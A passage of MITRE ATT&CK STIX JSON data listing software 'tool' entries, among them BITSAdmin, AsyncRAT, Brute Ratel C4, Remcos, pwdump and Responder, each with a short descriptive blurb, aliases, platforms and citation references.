remote systems. (Citation: TechNet Netsh)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["netsh","netsh.exe"],"type":"tool","id":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","created":"2017-05-31T21:33:06.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0108","external_id":"S0108"},{"source_name":"TechNet Netsh","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.","url":"https://technet.microsoft.com/library/bb490939.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CARROTBALL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4","type":"tool","created":"2020-06-02T19:10:29.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0465","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0465"},{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-10T14:44:23.055Z","name":"CARROTBALL","description":"[CARROTBALL](https://attack.mitre.org/software/S0465) is an FTP downloader utility that has been in use since at least 2019. [CARROTBALL](https://attack.mitre.org/software/S0465) has been used as a downloader to install [SYSCON](https://attack.mitre.org/software/S0464).(Citation: Unit 42 CARROTBAT January 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-03T18:31:04.851Z","name":"BITSAdmin","description":"[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["BITSAdmin"],"type":"tool","id":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0190","external_id":"S0190"},{"source_name":"Microsoft BITSAdmin","description":"Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/aa362813.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["meek"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--65370d0b-3bd4-4653-8cf9-daf56f6be830","type":"tool","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0175","external_id":"S0175"}],"modified":"2021-02-09T23:00:38.683Z","name":"meek","description":"[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-10T17:19:12.868Z","name":"AsyncRAT","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.(Citation: Morphisec Snip3 May 2021)(Citation: Cisco Operation Layover September 2021)(Citation: Telefonica Snip3 December 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Aaron Jornet"],"x_mitre_aliases":["AsyncRAT"],"type":"tool","id":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","created":"2023-09-20T17:32:59.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1087","external_id":"S1087"},{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-16T17:02:37.377Z","name":"ROADTools","description":"[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)","x_mitre_platforms":["Identity Provider"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["ROADTools"],"type":"tool","id":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","created":"2022-02-18T13:29:23.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0684","external_id":"S0684"},{"source_name":"ROADtools Github","description":"Dirk-jan Mollema. (2022, January 31). ROADtools. Retrieved January 31, 2022.","url":"https://github.com/dirkjanm/ROADtools"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-19T15:46:58.008Z","name":"Brute Ratel C4","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://attack.mitre.org/software/S1063) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://attack.mitre.org/software/S1063) was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Sittikorn Sangrattanapitak","Daniel Acevedo, @darmad0, ARMADO"],"x_mitre_aliases":["Brute Ratel C4","BRc4"],"type":"tool","id":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","created":"2023-02-07T20:26:58.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1063","external_id":"S1063"},{"source_name":"BRc4","description":"(Citation: Palo Alto Brute Ratel July 2022)"},{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"},{"source_name":"Dark Vortex Brute Ratel C4","description":"Dark Vortex. (n.d.). A Customized Command and Control Center for Red Team and Adversary Simulation. Retrieved February 7, 2023.","url":"https://bruteratel.com/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"SANS Brute Ratel October 2022","description":"Thomas, W. (2022, October 5). Cracked Brute Ratel C4 framework proliferates across the cybercriminal underground. Retrieved February 6, 2023.","url":"https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Peirates"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--79dd477a-8226-4b3d-ad15-28623675f221","created":"2022-02-08T16:11:38.528Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0683","url":"https://attack.mitre.org/software/S0683"},{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)","modified":"2022-04-14T20:55:21.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Peirates","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-12-23T14:07:20.658Z","name":"Remcos","description":"[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Remcos"],"type":"tool","id":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","created":"2019-01-29T18:55:20.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0332","external_id":"S0332"},{"source_name":"Remcos","description":"(Citation: Riskiq Remcos Jan 2018)(Citation: Fortinet Remcos Feb 2017)(Citation: Talos Remcos Aug 2018)"},{"source_name":"Fortinet Remcos Feb 2017","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html"},{"source_name":"Talos Remcos Aug 2018","description":"Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.","url":"https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html"},{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-07T13:03:30.781Z","name":"Systeminfo","description":"[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Systeminfo"],"type":"tool","id":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","created":"2017-05-31T21:33:00.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0096","external_id":"S0096"},{"source_name":"TechNet Systeminfo","description":"Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.","url":"https://technet.microsoft.com/en-us/library/bb491007.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Out1"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d","type":"tool","created":"2021-03-19T13:11:50.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0594","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0594"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-26T22:35:19.315Z","name":"Out1","description":"[Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-13T13:09:38.786Z","name":"ConnectWise","description":"[ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["ConnectWise","ScreenConnect"],"type":"tool","id":"tool--842976c7-f9c8-41b2-8371-41dc64fbe261","created":"2021-03-18T13:39:27.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0591","external_id":"S0591"},{"source_name":"ScreenConnect","description":"(Citation: Anomali Static Kitten February 2021)"},{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-03T19:35:03.646Z","name":"Imminent Monitor","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.(Citation: Imminent Unit42 Dec2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Jose Luis Sánchez Martinez"],"x_mitre_aliases":["Imminent Monitor"],"type":"tool","id":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","created":"2020-05-05T18:45:36.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0434","external_id":"S0434"},{"source_name":"Imminent Unit42 Dec2019","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020.","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Ruler","description":"[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)","labels":["tool"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Office Suite"],"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_aliases":["Ruler"],"type":"tool","id":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","created":"2019-02-04T18:27:00.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0358","external_id":"S0358"},{"source_name":"SensePost Ruler GitHub","description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler"},{"source_name":"SensePost NotRuler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.","url":"https://github.com/sensepost/notruler"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--90ec2b22-7061-4469-b539-0989ec4f96c2","type":"tool","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0193","external_id":"S0193"},{"source_name":"Microsoft Forfiles Aug 2016","description":"Microsoft. (2016, August 31). Forfiles. Retrieved January 22, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)"}],"modified":"2018-10-17T00:14:20.652Z","name":"Forfiles","description":"[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T21:09:10.255Z","name":"Winexe","description":"[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Winexe"],"type":"tool","id":"tool--96fd6cc4-a693-4118-83ec-619e5352d07d","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0191","external_id":"S0191"},{"source_name":"Überwachung APT28 Forfiles June 2015","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"},{"source_name":"Winexe Github Sept 2013","description":"Skalkotos, N. (2013, September 20). WinExe. Retrieved January 22, 2018.","url":"https://github.com/skalkoto/winexe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MCMD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","created":"2020-08-13T17:15:25.702Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0500","url":"https://attack.mitre.org/software/S0500"},{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MCMD](https://attack.mitre.org/software/S0500) is a remote access tool that provides remote command shell capability used by [Dragonfly 2.0](https://attack.mitre.org/groups/G0074).(Citation: Secureworks MCMD July 2019)","modified":"2022-07-29T19:48:28.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"MCMD","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:27:04.356Z","name":"Nltest","description":"[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Nltest"],"type":"tool","id":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","created":"2019-02-14T17:08:55.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0359","external_id":"S0359"},{"source_name":"Nltest Manual","description":"ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.","url":"https://ss64.com/nt/nltest.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"MailSniper","description":"MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)","labels":["tool"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Office Suite"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_aliases":["MailSniper"],"type":"tool","id":"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e","created":"2019-10-05T02:34:01.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0413","external_id":"S0413"},{"source_name":"GitHub MailSniper","description":"Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.","url":"https://github.com/dafthack/MailSniper"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--9a2640c2-9f43-46fe-b13f-bde881e55555","type":"tool","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0225","external_id":"S0225"},{"source_name":"sqlmap Introduction","description":"Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.","url":"http://sqlmap.org/"}],"modified":"2018-10-17T00:14:20.652Z","name":"sqlmap","description":"[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["pwdump"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","type":"tool","created":"2017-05-31T21:32:13.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0006","external_id":"S0006"},{"source_name":"Wikipedia pwdump","description":"Wikipedia. (2007, August 9). pwdump. Retrieved June 22, 2016.","url":"https://en.wikipedia.org/wiki/Pwdump"}],"modified":"2020-08-13T20:12:50.895Z","name":"pwdump","description":"[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-17T14:01:57.617Z","name":"Responder","description":"Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Responder"],"type":"tool","id":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0174","external_id":"S0174"},{"source_name":"GitHub Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 